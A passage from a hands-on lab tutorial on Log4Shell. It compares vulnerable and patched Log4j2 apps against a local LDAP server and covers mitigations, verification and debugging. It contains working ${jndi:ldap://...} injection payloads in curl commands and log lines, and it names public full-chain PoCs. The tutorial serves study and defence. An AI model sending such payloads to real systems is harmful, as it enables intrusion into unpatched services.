21:51:11 [http-nio-8080-exec-6] INFO  dev.sch39.LogController - User submitted: ${jndi:ldap://127.0.0.1:1389/ou=reference,dc=lab,dc=local}

Observe:

  • Vulnerable App log records the input as a literal string.

  • LDAP Attacker Server log does not show a new search received.

The expected result is the same as the Patched App, but achieved through runtime configuration rather than a dependency update. This shows there are two mitigation paths: patching the library or disabling lookup at runtime.

Note that this is an emergency mitigation. Once a dependency update is possible, patching remains the primary choice.

Experiment E: JDK Differences (Conceptual)

This experiment is not run because the lab does not provide javaCodebase. However, it is important to understand:

  • If javaCodebase is provided and the runtime is JDK 8 before 8u191, the JVM will attempt to load a class from that URL.

  • If the runtime is JDK 8u191+ or JDK 17, javaCodebase is ignored and only the local factory is used.

Because this lab does not include javaCodebase, no runtime reaches remote class loading. What is tested is the lookup mechanism, Reference, and object resolution. Triggering remote class loading requires two conditions simultaneously: javaCodebase present in the LDAP response, and a runtime that still honors javaCodebase.

Differences Between Vulnerable Log4j2 and Patched Log4j2

The behavioral differences between the two applications can be summarized as follows.

Aspect

Vulnerable App (2.14.1)

Patched App (2.17.1)

Evaluation of ${jndi:...} in message

Yes

No

Outbound connection to LDAP

Yes, when payload is sent

No

Reference Object constructed

Yes

No (lookup not triggered)

Local ObjectFactory invoked

Only via explicit /resolve

Not applicable

Remote class loading

No (without javaCodebase)

No

RCE

No

No

Historical patch baseline: Log4j 2.15.0 was the initial fix for CVE-2021-44228, but had conditions later addressed via CVE-2021-45046; 2.16.0 fixed CVE-2021-45046 for Java 8 and later by removing the affected message lookup feature; 2.17.0 addressed CVE-2021-45105; 2.17.1 addressed CVE-2021-44832. For production, use the latest version that is still supported and compatible with the application — do not treat 2.17.1 as the current production recommendation merely because it is the historical baseline that fixed the 2021 CVE series.

Understanding the Difference Between Each Stage

Stage

Explanation

Message processing

Log4j processes the log message

JNDI lookup

Lookup expression is processed

LDAP connection

Application contacts the LDAP provider

LDAP response

LDAP server returns the result

Object resolution

JNDI processes object information

Remote class loading

JVM attempts to load a class from an external source

Remote code execution

Code runs in the target process

Success at one stage does not automatically prove success at the next.

For example, an LDAP server can accept a connection and return a response without ever causing object resolution. This is exactly what happens with Fixture A: the entry response has no Reference attributes, so the object resolution stage is not triggered. Likewise, object resolution with a local factory does not prove remote class loading or RCE.

In this lab configuration, the Reference Object intentionally does not include javaCodebase, so the remote class loading stage will never be reached — not because of a lab limitation, but because of the chosen configuration. Triggering it requires JDK 8 before 8u191 and a javaCodebase pointing to an external HTTP server; both are intentionally not provided.

In the Patched App, the chain stops even before the JNDI lookup stage: input is logged as a literal string, without evaluation. In the Vulnerable App with formatMsgNoLookups=true, the chain also stops before the JNDI lookup stage, but achieved through runtime configuration rather than a dependency update.

Common Debugging

  • Gradle CLI not found: check the Gradle installation.

  • Gradle fails to create the wrapper: use Gradle 7.3.3 before adding the Spring Boot plugin.

  • Plugin compatibility error: ensure the wrapper runs the expected Gradle version.

  • Application does not start: check the active Java runtime via sdk current java.

  • Log4j2 is not active in the Vulnerable App: check the runtime classpath and ensure the default logging starter is not used.

  • Patched App still triggers lookup: ensure the resolved log4j-core is truly the patched version. Check with ./gradlew dependencies --configuration runtimeClasspath.

  • formatMsgNoLookups has no effect: ensure the property actually reaches the JVM. The most reliable way is via JAVA_TOOL_OPTIONS="-Dlog4j2.formatMsgNoLookups=true". Also check that the value is not overridden by other configuration.

  • LDAP Attacker Server does not start: check the terminal output, ensure port 1389 is not in use by another process (ss -tlnp | grep 1389).

  • No LDAP connection from the Vulnerable App: ensure the payload points to 127.0.0.1:1389, and the server is actually listening on that address.

  • Payload uses a service hostname: if the Vulnerable App runs on the host, ldap-attacker-server:1389 will not resolve. Use 127.0.0.1:1389.

  • Reference Object is not processed: check whether the base DN in the payload is truly ou=reference,dc=lab,dc=local.

  • Base DN typo: the server responds with NO_SUCH_OBJECT, and the log shows unknown base DN. This is not a successful lookup.

  • /resolve returns Reference, not the factory result object: this is valid behavior — see the explanation in Experiment B. If you want to force the invocation of ObjectFactory, do so outside this lab with NamingManager.getObjectInstance(); this lab intentionally does not force it so that provider behavior can be observed as-is.

  • InvalidAttributeValueException: malformed javaReferenceAddress: the javaReferenceAddress attribute format is not a key=value pair. Use the format #<index>#<type>#<value>.

  • Different behavior across JDKs: note the vendor, version, and patch level of the runtime.

Mitigation and Patch

The primary step to address Log4Shell is to update Log4j to a fixed version that still receives security support. See the historical patch baseline in the Differences Between Vulnerable Log4j2 and Patched Log4j2 section; for current production, use the latest version that is still supported and compatible with the application.

Emergency Mitigation If Updating Is Not Yet Possible

If a dependency update cannot be performed immediately, several emergency measures can reduce risk. These are not a replacement for patching.

1. Disable message lookup via a system property.

Set the log4j2.formatMsgNoLookups=true property on the JVM running the application. This disables lookup evaluation on messages, so ${jndi:...} is treated as plain text. Experiment D in this article proves its effect on the lab.

2. Remove the JndiLookup class from log4j-core on the classpath.

The org.apache.logging.log4j.core.lookup.JndiLookup class can be removed from the log4j-core jar in use. Example:

bash
zip -q -d log4j-core-2.14.1.jar \
  org/apache/logging/log4j/core/lookup/JndiLookup.class

This is a temporary mitigation. Ensure the build and deployment process is consistent, and replace it with a patched version as soon as possible.

3. Restrict egress.

Restricting outbound connections to unnecessary LDAP and RMI reduces the communication path to external endpoints. This is not a replacement for patching, but reduces impact if lookup still occurs.

Additional mitigations:

  1. Audit all transitive dependencies.

  2. Use firewalls or network policies to control egress.

  3. Avoid processing untrusted input as a special logging format or expression.

  4. Use software composition analysis.

  5. Inspect outbound connections and application logs if a vulnerable version was ever run.

Post-Patch Verification

After updating the dependency in patched-app/build.gradle:

bash
cd log4shell-lab/patched-app
./gradlew clean test bootJar
./gradlew dependencies --configuration runtimeClasspath

Ensure every resolved log4j-core dependency uses the fixed version.

Then run the Patched App:

bash
sdk current java
./gradlew bootRun

Repeat the tests using the same payloads and fixtures:

bash
# Fixture A
curl --get --data-urlencode \
  'data=${jndi:ldap://127.0.0.1:1389/ou=entry,dc=lab,dc=local}' \
  http://127.0.0.1:8081/log

# Fixture B
curl --get --data-urlencode \
  'data=${jndi:ldap://127.0.0.1:1389/ou=reference,dc=lab,dc=local}' \
  http://127.0.0.1:8081/log

Verify separately:

  • The dependencies in use are truly updated.

  • Input no longer triggers a lookup.

  • LDAP Attacker Server log does not show a new search received after patching.

  • No transitive dependency still uses a vulnerable version.

  • The application can still log input as plain data.

Do not rely solely on an HTTP 200 OK response or log messages as proof that mitigation succeeded.

Why It Works

Log4Shell occurs due to the interaction between user-controlled input, Log4j2 message lookup processing, and JNDI.

In vulnerable versions, certain input can cause Log4j2 to process a lookup expression. When JNDI uses LDAP as the provider, the application can contact an LDAP endpoint specified by that expression. The LDAP server then returns a response according to its implementation.

In certain historical scenarios, that response could participate in object resolution and remote class loading. Success at later stages depends on JNDI configuration, Java version, and runtime security policy.

There are three concepts that need to be distinguished:

1. Authentication

Proving the client's identity to the LDAP server. It does not automatically prove that the contacted LDAP server is a trusted endpoint.

2. Object resolution

Object resolution can occur within lookup() itself, depending on the JNDI provider. In this lab, the /resolve endpoint does not force the invocation of ObjectFactory via NamingManager; it only inspects the result of lookup(). If the result is a Reference, the provider chose not to resolve it. If the result is a concrete object, the provider invoked ObjectFactory within lookup(). Neither reaches remote class loading as long as javaCodebase is absent.

3. Remote code execution

Code execution in the target process. It cannot be concluded solely from a successful LDAP lookup or object resolution.

Edge Cases

  • Java version: Java 8u191 changed the default LDAP remote codebase policy to be stricter. Java 8u121 previously changed the default remote codebase policy for RMI and COS Naming. Do not conflate policy changes across providers.

  • JNDI lookup vs RCE: a successful LDAP connection does not mean remote class loading or RCE succeeded.

  • InitialContext.lookup() and object resolution: lookup() performs name resolution, but the provider may choose to resolve a Reference into a concrete object within lookup(). Therefore, the result of lookup() can be a Reference or a resolved object. NamingManager.getObjectInstance() is an explicit way to force resolution, but not the only path.

  • Reference Object: its processing depends on the provider, metadata, factory, and runtime policy.

  • Transitive dependency: vulnerable versions can enter through another dependency.

  • Log4j patch: Log4j 2.16.0 and later remove the affected message lookup. Log4j 2.15.0 has conditions addressed via CVE-2021-45046.

  • Emergency mitigation: log4j2.formatMsgNoLookups=true and removal of the JndiLookup class reduce risk, but are not a replacement for patching. Both must be reverted once a dependency update is available.

  • Historical PoCs: kozmer/log4j-shell-poc and marshalsec demonstrate the full chain with javaCodebase; this lab intentionally does not use them because the goal is to observe the mechanism without including javaCodebase.

  • Network egress: restricting outbound connections can reduce the communication path to external endpoints, but is not a replacement for patching.

  • Lab cleanup: stop all Java processes after the experiment is complete.

Conclusion

Log4Shell shows that user input entering the logging pipeline can trigger behavior more complex than simply writing a string to the console.

In vulnerable versions of Log4j2, JNDI lookup processing can cause the application to contact an LDAP endpoint controlled through input.

Through the Vulnerable App, Patched App, and LDAP Attacker Server, we can observe several important aspects:

  • How input can trigger a JNDI lookup.

  • How the application connects to an external LDAP server.

  • How the LDAP response is processed into a Reference Object.

  • How object resolution differs from remote class loading.

  • Why JDK 17 does not reach remote class loading even when lookup succeeds.

  • Why patched Log4j2 stops the chain even before lookup.

  • Why emergency mitigations such as formatMsgNoLookups=true also stop the chain, but are not a replacement for patching.

This experiment intentionally does not perform remote class loading or RCE. Its focus is understanding trust boundaries, JNDI behavior, and the impact of runtime configuration on application security. For the complete historical mechanism, readers can refer to public PoCs outside this lab, with the understanding that such PoCs require an old runtime and must not be run outside a truly isolated environment.

The primary mitigation remains using the latest supported version of Log4j, auditing transitive dependencies, and restricting unnecessary outbound connections.

References